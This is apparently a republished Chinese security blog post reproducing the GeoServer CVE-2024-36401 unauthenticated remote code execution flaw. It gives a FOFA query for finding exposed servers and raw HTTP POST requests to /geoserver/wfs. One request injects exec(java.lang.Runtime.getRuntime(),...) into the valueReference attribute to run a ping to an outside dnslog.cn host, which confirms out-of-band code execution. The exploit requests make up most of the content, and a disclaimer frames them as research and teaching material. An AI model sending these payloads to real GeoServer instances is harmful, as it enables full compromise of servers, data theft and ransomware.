- 漏洞描述
未经身份验证的用户可以通过向默认的 GeoServer 安装发送特制的输入,利用多个 OGC 请求参数,如 WFS GetFeature、WFS GetPropertyValue、WMS GetMap、WMS GetFeatureInfo、WMS GetLegendGraphic 和 WPS Execute 请求,从而执行任意代码。这种远程代码执行将导致系统被完全控制,严重威胁系统安全,可能造成数据泄露、勒索或更广泛的网络攻击。
- 详情文档
阅读说明文档:https://www.osgeo.cn/geoserver-user-manual/services/wfs/reference.html#createstoredquery
- 资产测绘
FOFA:app=
"GeoServer"
- 复现过程
漏洞位置
POST请求中的相同示例:
要检索其他属性的值,请修改valueReference
请求头有两种
POST
/wfs
HTTP/1.1
POST
/geoserver/wfs
HTTP/1.1
第一步查看ReturnFeatureType
POST
/geoserver/wfs
HTTP/1.1
Host
: xxxxxx
Content-Type
: application/xml
Content-Length
: 101
<
wfs:ListStoredQueries
service
=
'WFS'
version
=
'2.0.0'
xmlns:wfs
=
'http://www.xxx.net/wfs/2.0'
/>
利用存在的ReturnFeatureType去替换<wfs:Query typeNames='topp:states'/>中的值
POST
/wfs
HTTP/1.1
Host
: ip
Content-Type
: application/xml
Content-Length
: 334
<
wfs:GetPropertyValue
service
=
'WFS'
version
=
'2.0.0'
xmlns:topp
=
'http://www.xxx.org/topp'
xmlns:fes
=
'http://www.xxx.net/fes/2.0'
xmlns:wfs
=
'http://www.xxx.net/wfs/2.0'
valueReference
=
'exec(java.lang.Runtime.getRuntime(),"ping 90mrqh.dnslog.cn")'
>
<
wfs:Query
typeNames
=
'topp:states'
/>
</
wfs:GetPropertyValue
>
无回显命令,外带回显
原文始发于微信公众号(奉天安全团队):Geoserver(CVE-2024-36401)RCE漏洞
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论